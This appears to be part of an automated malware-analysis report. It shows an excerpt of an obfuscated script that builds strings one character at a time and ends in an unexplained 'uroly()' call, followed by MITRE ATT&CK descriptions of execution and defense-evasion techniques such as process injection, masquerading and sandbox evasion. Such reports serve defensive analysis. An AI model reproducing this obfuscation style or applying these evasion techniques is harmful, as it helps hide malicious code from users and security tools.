389	dokiikiu = "R";
390	dokiikiu = "O";
391	dokiikiu = "R";
392	dokiikiu = "-";
393	kzwvuezu = "F";
394	kzwvuezu = "9";
395	ibsue = "g";
396	ibsue = "W";
397	ibsue = "M";
398	ibsue = "i";
399	ibsue = "P";
400	ibsue = "N";
401	ibsue = "M";
402	ibsue = "s";
403	ibsue = "F";
404	ibsue = "V";
405	ibsue = "W";
406	ibsue = "j";
407	ibsue = "o";
408	ibsue = "I";
409	ibsue = "k";
410	ibsue = "U";
411	ibsue = "g";
412	ibsue = "K";
413	ibsue = "d";
414	ibsue = "s";
415	ibsue = "k";
416	ibsue = "U";
417	ibsue = "M";
418	ibsue = "C";
419	ibsue = "C";
420	ibsue = "C";
421	ibsue = "p";
422	ibsue = "a";
423	ibsue = "v";
424	ibsue = "B";
425	ibsue = "u";
426	ibsue = "N";
427	ibsue = "v";
428	ibsue = "i";
429	fhsaw = "w";
430	fhsaw = "v";
431	fhsaw = "m";
432	fhsaw = "K";
433	fhsaw = "G";
434	fhsaw = "u";
435	fhsaw = "m";
436	fhsaw = "I";
437	fhsaw = "l";
438	fhsaw = "m";
439	fhsaw = "M";
440	fhsaw = "E";
441	fhsaw = "u";
442	fhsaw = "V";
443	fhsaw = "N";
444	fhsaw = "f";
445	fhsaw = "S";
446	fhsaw = "q";
447	fhsaw = "s";
448	fhsaw = "S";
449	fhsaw = "L";
450	fhsaw = "k";
451	fhsaw = "z";
452	fhsaw = "I";
453	fhsaw = "H";
454	fhsaw = "o";
455	fhsaw = "W";
456	fhsaw = "1";
457	ivnlc = "O";
458	ivnlc = "X";
459	ivnlc = "k";
460	ivnlc = "q";
461	ivnlc = "l";
462	ivnlc = "J";
463	ivnlc = "j";
464	ivnlc = "p";
465	ivnlc = "C";
466	ivnlc = "H";
467	ivnlc = "B";
468	ivnlc = "X";
469	ivnlc = "L";
470	ivnlc = "O";
471	ivnlc = "y";
472	ivnlc = "b";
473	ivnlc = "a";
474	ivnlc = "r";
475	ivnlc = "L";
476	ivnlc = "E";
477	ivnlc = "d";
478	ivnlc = "H";
479	ivnlc = "A";
480	ivnlc = "T";
481	ivnlc = "a";
482	ivnlc = "m";
483	ivnlc = "E";
484	ivnlc = "Y";
485	ivnlc = "P";
486	ivnlc = "g";
487	ivnlc = "I";
488	ivnlc = "m";
489	ivnlc = "a";
490	ivnlc = "e";
491	ivnlc = "H";
492	uyukgr = "j";
493	uyukgr = "F";
494	uyukgr = "y";
495	uyukgr = "a";
496	uyukgr = "n";
497	uyukgr = "o";
498	nmygx = "X";
499	nmygx = "E";
500	nmygx = "c";
501	nmygx = "X";
502	nmygx = "K";
503	nmygx = "u";
504	nmygx = "T";
505	nmygx = "P";
506	nmygx = "R";
507	nmygx = "A";
508	nmygx = "t";
509	nmygx = "y";
510	nmygx = "H";
511	nmygx = "b";
512	nmygx = "n";
513	nmygx = "e";
514	nmygx = "S";
515	nmygx = "O";
516	nmygx = "S";
517	nmygx = "M";
518	nmygx = "J";
519	nmygx = "t";
520	nmygx = "j";
521	nmygx = "W";
522	nmygx = "B";
523	nmygx = "v";
524	nmygx = "L";
525	nmygx = "C";
526	nmygx = "J";
527	nmygx = "F";
528	nmygx = "T";
529	nmygx = "m";
530	lkzaqcz = "h";
531	lkzaqcz = "Z";
532	lkzaqcz = "g";
533	lkzaqcz = "r";
534	lkzaqcz = "S";
535	lkzaqcz = "a";
536	lkzaqcz = "P";
537	lkzaqcz = "j";
538	lkzaqcz = "o";
539	lkzaqcz = "S";
540	lkzaqcz = "B";
541	lkzaqcz = "R";
542	lkzaqcz = "k";
543	lkzaqcz = "l";
544	lkzaqcz = "z";
545	lkzaqcz = "L";
546	lkzaqcz = "f";
547	lkzaqcz = "S";
548	lkzaqcz = "F";
549	lkzaqcz = "d";
550	lkzaqcz = "Q";
551	lkzaqcz = "u";
552	lkzaqcz = "p";
553	lkzaqcz = "Z";
554	lkzaqcz = "N";
555	lkzaqcz = "h";
556	lkzaqcz = "Y";
557	lkzaqcz = "K";
558	ejzppq = "b";
559	ejzppq = "e";
560	ejzppq = "k";
561	ejzppq = "r";
562	ejzppq = "i";
563	ejzppq = "H";
564	ejzppq = "f";
565	ejzppq = "c";
566	ejzppq = "B";
567	ejzppq = "d";
568	ejzppq = "A";
569	ejzppq = "L";
570	ejzppq = "L";
571	ejzppq = "Q";
572	ejzppq = "j";
573	ejzppq = "d";
574	ejzppq = "K";
575	ejzppq = "G";
576	ejzppq = "b";
577	ejzppq = "P";
578	ejzppq = "j";
579	ejzppq = "N";
580	ejzppq = "G";
581	ejzppq = "K";
582	ejzppq = "A";
583	ejzppq = "Q";
584	ejzppq = "B";
585	ejzppq = "W";
586	ejzppq = "T";
587	ejzppq = "c";
588	ejzppq = "U";
589	ejzppq = "W";
590	ejzppq = "m";
591	ejzppq = "m";
592	ejzppq = "k";
593	ejzppq = "F";
594	ejzppq = "g";
595	ejzppq = "W";
596	ejzppq = "C";
597	ejzppq = "C";
598	ejzppq = "o";
599	ejzppq = "h";
600	ejzppq = "f";
601	ejzppq = "4";
602	uictcmz = "C";
603	uictcmz = "m";
604	uictcmz = "Q";
605	uictcmz = "Z";
606	uictcmz = "m";
607	uictcmz = "G";
608	uictcmz = "c";
609	uictcmz = "Z";
610	uictcmz = "U";
611	uictcmz = "n";
612	uictcmz = "n";
613	uictcmz = "k";
614	uictcmz = "Q";
615	uictcmz = "o";
616	uictcmz = "W";
617	btkrxwz = "g";
618	btkrxwz = "i";
619	btkrxwz = "L";
620	btkrxwz = "Y";
621	btkrxwz = "m";
622	btkrxwz = "K";
623	btkrxwz = "U";
624	btkrxwz = "K";
625	btkrxwz = "E";
626	btkrxwz = "W";
627	btkrxwz = "E";
628	btkrxwz = "p";
629	btkrxwz = "V";
630	btkrxwz = "g";
631	btkrxwz = "i";
632	btkrxwz = "Z";
633	btkrxwz = "N";
634	btkrxwz = "p";
635	btkrxwz = "S";
636	btkrxwz = "q";
637	btkrxwz = "R";
638	btkrxwz = "w";
639	btkrxwz = "j";
640	btkrxwz = "m";
641	btkrxwz = "b";
642	btkrxwz = "H";
643	btkrxwz = "l";
644	btkrxwz = "w";
645	btkrxwz = "B";
646	btkrxwz = "G";
647	btkrxwz = "K";
648	btkrxwz = "a";
649	zcfsqik = "m";
650	zcfsqik = "b";
651	zcfsqik = "L";
652	zcfsqik = "C";
653	zcfsqik = "l";
654	zcfsqik = "g";
655	zcfsqik = "o";
656	zcfsqik = "j";
657	zcfsqik = "t";
658	zcfsqik = "S";
659	zcfsqik = "L";
660	zcfsqik = "W";
661	zcfsqik = "W";
662	zcfsqik = "Y";
663	zcfsqik = "a";
664	zcfsqik = "o";
665	zcfsqik = "z";
666	zcfsqik = "y";
667	zcfsqik = "I";
668	zcfsqik = "w";
669	zcfsqik = "r";
670	zcfsqik = "Q";
671	zcfsqik = "u";
672	zcfsqik = "E";
673	zcfsqik = "J";
674	zcfsqik = "X";
675	zcfsqik = "A";
676	zcfsqik = "K";
677	zcfsqik = "n";
678	zcfsqik = "K";
679	zcfsqik = "N";
680	zcfsqik = "S";
681	zcfsqik = "U";
682	zcfsqik = "Z";
683	zcfsqik = "t";
684	zcfsqik = "s";
685	zcfsqik = "Z";
686	zcfsqik = "n";
687	peyslu = "w";
688	peyslu = "a";
689	peyslu = "e";
690	peyslu = "V";
691	peyslu = "j";
692	peyslu = "z";
693	peyslu = "z";
694	peyslu = "I";
695	peyslu = "M";
696	peyslu = "K";
697	peyslu = "m";
698	peyslu = "I";
699	peyslu = "i";
700	peyslu = "m";
701	peyslu = "S";
702	peyslu = "b";
703	peyslu = "T";
704	peyslu = "H";
705	peyslu = "g";
706	peyslu = "T";
707	peyslu = "w";
708	peyslu = "U";
709	peyslu = "C";
710	peyslu = "M";
711	peyslu = "r";
712	peyslu = "L";
713	peyslu = "C";
714	peyslu = "k";
715	rxzkvtu = "R";
716	rxzkvtu = "l";
717	rxzkvtu = "i";
718	rxzkvtu = "r";
719	rxzkvtu = "Q";
720	rxzkvtu = "k";
721	rxzkvtu = "S";
722	rxzkvtu = "Y";
723	rxzkvtu = "y";
724	rxzkvtu = "f";
725	rxzkvtu = "v";
726	rxzkvtu = "W";
727	rxzkvtu = "x";
728	rxzkvtu = "s";
729	rxzkvtu = "m";
730	rxzkvtu = "u";
731	rxzkvtu = "E";
732	rxzkvtu = "l";
733	rxzkvtu = "Y";
734	rxzkvtu = "D";
735	rxzkvtu = "j";
736	rxzkvtu = "H";
737	rxzkvtu = "z";
738	rxzkvtu = "V";
739	rxzkvtu = "s";
740	rxzkvtu = "z";
741	rxzkvtu = "L";
742	rxzkvtu = "y";
743	rxzkvtu = "u";
744	rxzkvtu = "H";
745	rxzkvtu = "p";
746	rxzkvtu = "E";
747	rxzkvtu = "Z";
748	rxzkvtu = "f";
749	agequs = "A";
750	agequs = "M";
751	agequs = "d";
752	agequs = "l";
753	agequs = "R";
754	agequs = "B";
755	agequs = "I";
756	agequs = "T";
757	agequs = "o";
758	agequs = "i";
759	agequs = "X";
760	agequs = "A";
761	agequs = "r";
762	agequs = "R";
763	agequs = "H";
764	agequs = "Z";
765	agequs = "U";
766	agequs = "G";
767	agequs = "j";
768	agequs = "i";
769	agequs = "W";
770	agequs = "u";
771	agequs = "u";
772	agequs = "s";
773	agequs = "r";
774	agequs = "S";
775	agequs = "H";
776	agequs = "C";
777	agequs = "m";
778	agequs = "l";
779	agequs = "n";
780	agequs = "C";
781	agequs = "u";
782	agequs = "w";
783	agequs = "L";
784	agequs = "v";
785	agequs = "y";
786	agequs = "B";
787	agequs = "c";
788	bueboban = "i";
789	bueboban = "X";
790	bueboban = "q";
791	bueboban = "p";
792	bueboban = "j";
793	bueboban = "R";
794	bueboban = "b";
795	bueboban = "L";
796	bueboban = "Y";
797	bueboban = "N";
798	bueboban = "D";
799	bueboban = "N";
800	bueboban = "y";
801	bueboban = "g";
802	bueboban = "R";
803	bueboban = "T";
804	bueboban = "Q";
805	bueboban = "J";
806	bueboban = "I";
807	bueboban = "K";
808	bueboban = "N";
809	bueboban = "o";
810	bueboban = "O";
811	bueboban = "o";
812	bueboban = "Z";
813	bueboban = "Q";
814	bueboban = "f";
815	bueboban = "G";
816	bueboban = "J";
817	bueboban = "k";
818	bueboban = "o";
819	bueboban = "O";
820	bueboban = "J";
821	bueboban = "O";
822	bueboban = "b";
823	bueboban = "q";
824	qcnstn = "h";
825	qcnstn = "J";
826	qcnstn = "R";
827	wphvwqpk = "E";
828	wphvwqpk = "h";
829	wphvwqpk = "D";
830	wphvwqpk = "a";
831	wphvwqpk = "v";
832	wphvwqpk = "C";
833	wphvwqpk = "K";
834	wphvwqpk = "a";
835	wphvwqpk = "m";
836	wphvwqpk = "F";
837	wphvwqpk = "F";
838	wphvwqpk = "l";
839	wphvwqpk = "i";
840	wphvwqpk = "c";
841	wphvwqpk = "Y";
842	wphvwqpk = "G";
843	wphvwqpk = "F";
844	wphvwqpk = "k";
845	wphvwqpk = "s";
846	wphvwqpk = "J";
847	wphvwqpk = "n";
848	wphvwqpk = "R";
849	wphvwqpk = "k";
850	wphvwqpk = "V";
851	wphvwqpk = "/";
852	mbalqyg = "J";
853	mbalqyg = "z";
854	mbalqyg = "e";
855	mbalqyg = "Q";
856	mbalqyg = "N";
857	mbalqyg = "M";
858	mbalqyg = "Z";
859	mbalqyg = "j";
860	mbalqyg = "B";
861	mbalqyg = "q";
862	mbalqyg = "V";
863	mbalqyg = "f";
864	mbalqyg = "T";
865	mbalqyg = "C";
866	mbalqyg = "T";
867	mbalqyg = " ";
868	unctstgj = "U";
869	unctstgj = "F";
870	unctstgj = "s";
871	unctstgj = "m";
872	unctstgj = "C";
873	unctstgj = "n";
874	unctstgj = "h";
875	unctstgj = "e";
876	unctstgj = "h";
877	unctstgj = "h";
878	unctstgj = "C";
879	unctstgj = "u";
880	unctstgj = "w";
881	unctstgj = "x";
882	unctstgj = "S";
883	unctstgj = "s";
884	unctstgj = "p";
885	unctstgj = "F";
886	unctstgj = "n";
887	unctstgj = "v";
888	unctstgj = "C";
889	unctstgj = "j";
890	unctstgj = "I";
891	unctstgj = "O";
892	unctstgj = "F";
893	unctstgj = "z";
894	unctstgj = "q";
895	unctstgj = "p";
896	unctstgj = "Q";
897	unctstgj = "m";
898	unctstgj = "x";
899	unctstgj = "x";
900	unctstgj = "q";
901	unctstgj = "l";
902	unctstgj = "u";
903	unctstgj = "Y";
904	unctstgj = "M";
905	unctstgj = "P";
906	unctstgj = "r";
907	unctstgj = "x";
908	unctstgj = "2";
909	pfucnqnqc = "i";
910	pfucnqnqc = "H";
911	pfucnqnqc = "s";
912	pzjmm = "A";
913	pzjmm = "C";
914	pzjmm = "w";
915	pzjmm = "t";
916	pzjmm = "O";
917	pzjmm = "r";
918	pzjmm = "q";
919	pzjmm = "b";
920	pzjmm = "b";
921	pzjmm = "q";
922	pzjmm = "a";
923	pzjmm = "P";
924	pzjmm = "G";
925	pzjmm = "m";
926	pzjmm = "O";
927	pzjmm = "y";
928	pzjmm = "Y";
929	pzjmm = "p";
930	pzjmm = "g";
931	pzjmm = "Y";
932	pzjmm = "w";
933	pzjmm = "r";
934	pzjmm = "u";
935	pzjmm = "s";
936	pzjmm = "x";
937	pzjmm = "B";
938	pzjmm = "g";
939	pzjmm = "H";
940	pzjmm = "K";
941	pzjmm = "A";
942	pzjmm = "M";
943	pzjmm = "j";
944	pzjmm = "s";
945	pzjmm = "J";
946	pzjmm = "X";
947	pzjmm = "q";
948	pzjmm = "O";
949	pzjmm = "O";
950	pzjmm = "l";
951	pzjmm = "p";
952	pzjmm = "W";
953	pzjmm = "E";
954	pzjmm = "\"";
955	ppzjyfyjo = "H";
956	ppzjyfyjo = "U";
957	ppzjyfyjo = "t";
958	ppzjyfyjo = "J";
959	ppzjyfyjo = "U";
960	ppzjyfyjo = "X";
961	ppzjyfyjo = "O";
962	ppzjyfyjo = "v";
963	ppzjyfyjo = "J";
964	ppzjyfyjo = "T";
965	ppzjyfyjo = "d";
966	ppzjyfyjo = "F";
967	ppzjyfyjo = "L";
968	ppzjyfyjo = "T";
969	avsjoachn = "y";
970	avsjoachn = "h";
971	avsjoachn = "n";
972	avsjoachn = "y";
973	avsjoachn = "O";
974	avsjoachn = "L";
975	avsjoachn = "V";
976	avsjoachn = "w";
977	avsjoachn = "X";
978	avsjoachn = "A";
979	avsjoachn = "u";
980	avsjoachn = "d";
981	avsjoachn = "S";
982	avsjoachn = "P";
983	avsjoachn = "W";
984	avsjoachn = "F";
985	avsjoachn = "Q";
986	avsjoachn = "\\";
987	jdclrjk = "n";
988	jdclrjk = "R";
989	jdclrjk = "o";
990	jdclrjk = "g";
991	jdclrjk = "r";
992	jdclrjk = "m";
993	jdclrjk = "M";
994	jdclrjk = "Y";
995	jdclrjk = "J";
996	jdclrjk = "p";
997	slidhrugc = "k";
998	slidhrugc = "C";
999	slidhrugc = "Q";
1000	slidhrugc = "x";
1001	slidhrugc = "N";
1002	slidhrugc = "g";
1003	slidhrugc = "f";
1004	slidhrugc = "G";
1005	slidhrugc = "z";
1006	slidhrugc = "L";
1007	slidhrugc = "Z";
1008	slidhrugc = "C";
1009	mcahshrbv = "d";
1010	mcahshrbv = "U";
1011	mcahshrbv = "z";
1012	mcahshrbv = "B";
1013	mcahshrbv = "a";
1014	mcahshrbv = "F";
1015	mcahshrbv = "Y";
1016	mcahshrbv = "V";
1017	mcahshrbv = "z";
1018	mcahshrbv = "z";
1019	mcahshrbv = "e";
1020	mcahshrbv = "r";
1021	mcahshrbv = "d";
1022	mcahshrbv = "e";
1023	mcahshrbv = "R";
1024	mcahshrbv = "e";
1025	mcahshrbv = "H";
1026	mcahshrbv = "t";
1027	mcahshrbv = "U";
1028	mcahshrbv = "e";
1029	mcahshrbv = "t";
1030	mcahshrbv = "M";
1031	mcahshrbv = "B";
1032	mcahshrbv = "q";
1033	mcahshrbv = "N";
1034	mcahshrbv = "n";
1035	mcahshrbv = "Q";
1036	vjhny = "H";
1037	vjhny = ":";
1038	uzzmtyp = "j";
1039	uzzmtyp = "M";
1040	uzzmtyp = "J";
1041	uzzmtyp = "c";
1042	uzzmtyp = "b";
1043	uzzmtyp = "u";
1044	uzzmtyp = "M";
1045	uzzmtyp = "r";
1046	uzzmtyp = "P";
1047	uzzmtyp = "u";
1048	uzzmtyp = "T";
1049	uzzmtyp = "i";
1050	uzzmtyp = "F";
1051	uzzmtyp = "V";
1052	uzzmtyp = "O";
1053	uzzmtyp = "f";
1054	uzzmtyp = "h";
1055	uzzmtyp = "W";
1056	uzzmtyp = "G";
1057	uzzmtyp = "Z";
1058	uzzmtyp = "L";
1059	uzzmtyp = "F";
1060	uzzmtyp = "H";
1061	uzzmtyp = "Z";
1062	uzzmtyp = "Y";
1063	uzzmtyp = "S";
1064	uzzmtyp = "P";
1065	uzzmtyp = "W";
1066	uzzmtyp = "z";
1067	uzzmtyp = "U";
1068	uzzmtyp = "Y";
1069	uzzmtyp = "l";
1070	uzzmtyp = "x";
1071	uzzmtyp = "F";
1072	uzzmtyp = "U";
1073	uzzmtyp = "v";
1074	uzzmtyp = "S";
1075	jkbmce = "x";
1076	jkbmce = "r";
1077	jkbmce = "Z";
1078	jkbmce = "x";
1079	jkbmce = "W";
1080	jkbmce = "U";
1081	jkbmce = "p";
1082	jkbmce = "E";
1083	jkbmce = "G";
1084	jkbmce = "r";
1085	jkbmce = "T";
1086	jkbmce = "V";
1087	jkbmce = "s";
1088	jkbmce = "P";
1089	jkbmce = "I";
1090	jkbmce = "b";
1091	jkbmce = "T";
1092	jkbmce = "i";
1093	jkbmce = "h";
1094	jkbmce = "L";
1095	jkbmce = "I";
1096	vjvhihe = "d";
1097	vjvhihe = "C";
1098	vjvhihe = "C";
1099	vjvhihe = "O";
1100	vjvhihe = "l";
1101	vjvhihe = "K";
1102	vjvhihe = "y";
1103	vjvhihe = "i";
1104	vjvhihe = "Q";
1105	vjvhihe = "r";
1106	vjvhihe = "J";
1107	vjvhihe = "t";
1108	vjvhihe = "u";
1109	vjvhihe = "V";
1110	vjvhihe = "M";
1111	vjvhihe = "B";
1112	vjvhihe = "E";
1113	vjvhihe = "A";
1114	vjvhihe = "n";
1115	vjvhihe = "m";
1116	vjvhihe = "u";
1117	vjvhihe = "u";
1118	vjvhihe = "U";
1119	vjvhihe = "k";
1120	vjvhihe = "s";
1121	vjvhihe = "S";
1122	vjvhihe = "N";
1123	ahropaxtr = "M";
1124	ahropaxtr = "S";
1125	ahropaxtr = "B";
1126	ahropaxtr = "T";
1127	ahropaxtr = "U";
1128	ahropaxtr = "V";
1129	ahropaxtr = "y";
1130	ahropaxtr = "L";
1131	ahropaxtr = "Z";
1132	ahropaxtr = "A";
1133	ahropaxtr = "s";
1134	ahropaxtr = "c";
1135	ahropaxtr = "u";
1136	ahropaxtr = "N";
1137	ahropaxtr = "o";
1138	ahropaxtr = "y";
1139	ahropaxtr = "o";
1140	ahropaxtr = "X";
1141	ahropaxtr = "m";
1142	ahropaxtr = "l";
1143	ahropaxtr = "d";
1144	ahropaxtr = "i";
1145	ahropaxtr = "f";
1146	ahropaxtr = "V";
1147	ahropaxtr = "k";
1148	ahropaxtr = "X";
1149	ahropaxtr = "K";
1150	ahropaxtr = "o";
1151	ahropaxtr = "q";
1152	ahropaxtr = "K";
1153	ahropaxtr = "P";
1154	ahropaxtr = "j";
1155	ahropaxtr = "N";
1156	ahropaxtr = "N";
1157	ahropaxtr = "r";
1158	ahropaxtr = "r";
1159	btota = "t";
1160	btota = "f";
1161	btota = "V";
1162	btota = "l";
1163	btota = "V";
1164	btota = "p";
1165	btota = "t";
1166	btota = "k";
1167	btota = "F";
1168	btota = "l";
1169	btota = "N";
1170	btota = "I";
1171	btota = "v";
1172	btota = "7";
1173	invufrk = "O";
1174	invufrk = "z";
1175	invufrk = "A";
1176	invufrk = "V";
1177	invufrk = "H";
1178	invufrk = "x";
1179	invufrk = "z";
1180	invufrk = "h";
1181	invufrk = "w";
1182	invufrk = "f";
1183	invufrk = "q";
1184	invufrk = "J";
1185	invufrk = "E";
1186	invufrk = "p";
1187	invufrk = "U";
1188	invufrk = "w";
1189	invufrk = "B";
1190	invufrk = "b";
1191	invufrk = "X";
1192	invufrk = "l";
1193	invufrk = "n";
1194	invufrk = "T";
1195	invufrk = "X";
1196	invufrk = "V";
1197	invufrk = "v";
1198	invufrk = "K";
1199	invufrk = "d";
1200	invufrk = "w";
1201	invufrk = "Z";
1202	invufrk = "K";
1203	invufrk = "C";
1204	invufrk = "v";
1205	invufrk = "h";
1206	qurepm = "D";
1207	qurepm = "s";
1208	qurepm = "E";
1209	qurepm = "X";
1210	qurepm = "Z";
1211	qurepm = "e";
1212	qurepm = "D";
1213	qurepm = "c";
1214	qurepm = "U";
1215	qurepm = "E";
1216	qurepm = "a";
1217	qurepm = "W";
1218	qurepm = "y";
1219	qurepm = "g";
1220	qurepm = "W";
1221	qurepm = "N";
1222	qurepm = "y";
1223	qurepm = "g";
1224	qurepm = "B";
1225	qurepm = "f";
1226	qurepm = "e";
1227	qurepm = "Q";
1228	qurepm = "H";
1229	qurepm = "P";
1230	qurepm = "K";
1231	qurepm = "E";
1232	qurepm = "N";
1233	qurepm = "H";
1234	qurepm = "r";
1235	qurepm = "S";
1236	qurepm = "T";
1237	qurepm = "I";
1238	qurepm = "S";
1239	qurepm = "l";
1240	qurepm = "H";
1241	qurepm = "E";
1242	qurepm = "H";
1243	qurepm = "C";
1244	qurepm = "T";
1245	qurepm = "p";
1246	qurepm = "i";
1247	qurepm = "f";
1248	qurepm = "J";
1249	qurepm = "y";
1250	qurepm = "P";
1251	semldtsz = "w";
1252	semldtsz = "D";
1253	semldtsz = "p";
1254	semldtsz = "B";
1255	semldtsz = "F";
1256	semldtsz = "y";
1257	semldtsz = "f";
1258	semldtsz = "Y";
1259	semldtsz = "k";
1260	semldtsz = "t";
1261	semldtsz = "k";
1262	semldtsz = "Y";
1263	semldtsz = "c";
1264	semldtsz = "r";
1265	semldtsz = "F";
1266	semldtsz = "R";
1267	semldtsz = "X";
1268	semldtsz = "w";
1269	semldtsz = "H";
1270	semldtsz = "U";
1271	semldtsz = "E";
1272	tlyjf = "b";
1273	tlyjf = "B";
1274	tlyjf = "u";
1275	tlyjf = "d";
1276	tlyjf = "H";
1277	tlyjf = "l";
1278	tlyjf = "h";
1279	tlyjf = "h";
1280	tlyjf = "j";
1281	tlyjf = "Q";
1282	tlyjf = "Y";
1283	tlyjf = "k";
1284	tlyjf = "l";
1285	tlyjf = "z";
1286	tlyjf = "l";
1287	tlyjf = "D";
1288	tlyjf = "e";
1289	qqtldez = "6";
1290	muagoh = "q";
1291	muagoh = "j";
1292	muagoh = "A";
1293	muagoh = "T";
1294	muagoh = "s";
1295	muagoh = "Q";
1296	muagoh = "D";
1297	muagoh = "K";
1298	muagoh = "C";
1299	muagoh = "L";
1300	muagoh = "t";
1301	muagoh = "A";
1302	muagoh = "p";
1303	muagoh = "x";
1304	muagoh = "w";
1305	muagoh = "d";
1306	muagoh = "k";
1307	muagoh = "U";
1308	muagoh = "i";
1309	muagoh = "t";
1310	muagoh = "i";
1311	muagoh = "M";
1312	muagoh = "q";
1313	muagoh = "t";
1314	muagoh = "i";
1315	muagoh = "e";
1316	muagoh = "I";
1317	muagoh = "v";
1318	itqpo = "A";
1319	itqpo = "n";
1320	itqpo = "n";
1321	itqpo = "h";
1322	itqpo = "k";
1323	itqpo = "J";
1324	itqpo = "V";
1325	itqpo = "&";
1326	lvwsk = "O";
1327	lvwsk = "L";
1328	lvwsk = "O";
1329	lvwsk = "X";
1330	lvwsk = "j";
1331	lvwsk = "G";
1332	lvwsk = "C";
1333	lvwsk = "T";
1334	lvwsk = "q";
1335	lvwsk = "C";
1336	lvwsk = "Z";
1337	lvwsk = "H";
1338	lvwsk = "Z";
1339	lvwsk = "P";
1340	lvwsk = "h";
1341	lvwsk = "t";
1342	lvwsk = "l";
1343	lvwsk = "Z";
1344	lvwsk = "I";
1345	lvwsk = "y";
1346	lvwsk = "k";
1347	lvwsk = "z";
1348	lvwsk = "h";
1349	lvwsk = "o";
1350	lvwsk = "f";
1351	lvwsk = "s";
1352	lvwsk = "T";
1353	lvwsk = "R";
1354	lvwsk = "E";
1355	lvwsk = "E";
1356	lvwsk = "d";
1357	lvwsk = "l";
1358	lvwsk = "e";
1359	lvwsk = "E";
1360	lvwsk = "t";
1361	lvwsk = "Y";
1362	lvwsk = "E";
1363	lvwsk = "y";
1364	lvwsk = "B";
1365	lvwsk = "s";
1366	lvwsk = "h";
1367	lvwsk = "g";
1368	wgdky = "S";
1369	wgdky = "d";
1370	wgdky = "b";
1371	wgdky = "p";
1372	wgdky = "r";
1373	wgdky = "O";
1374	wgdky = "Z";
1375	wgdky = "v";
1376	wgdky = "D";
1377	wgdky = "c";
1378	wgdky = "e";
1379	wgdky = ".";
1380	uroly ( );	uroly() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
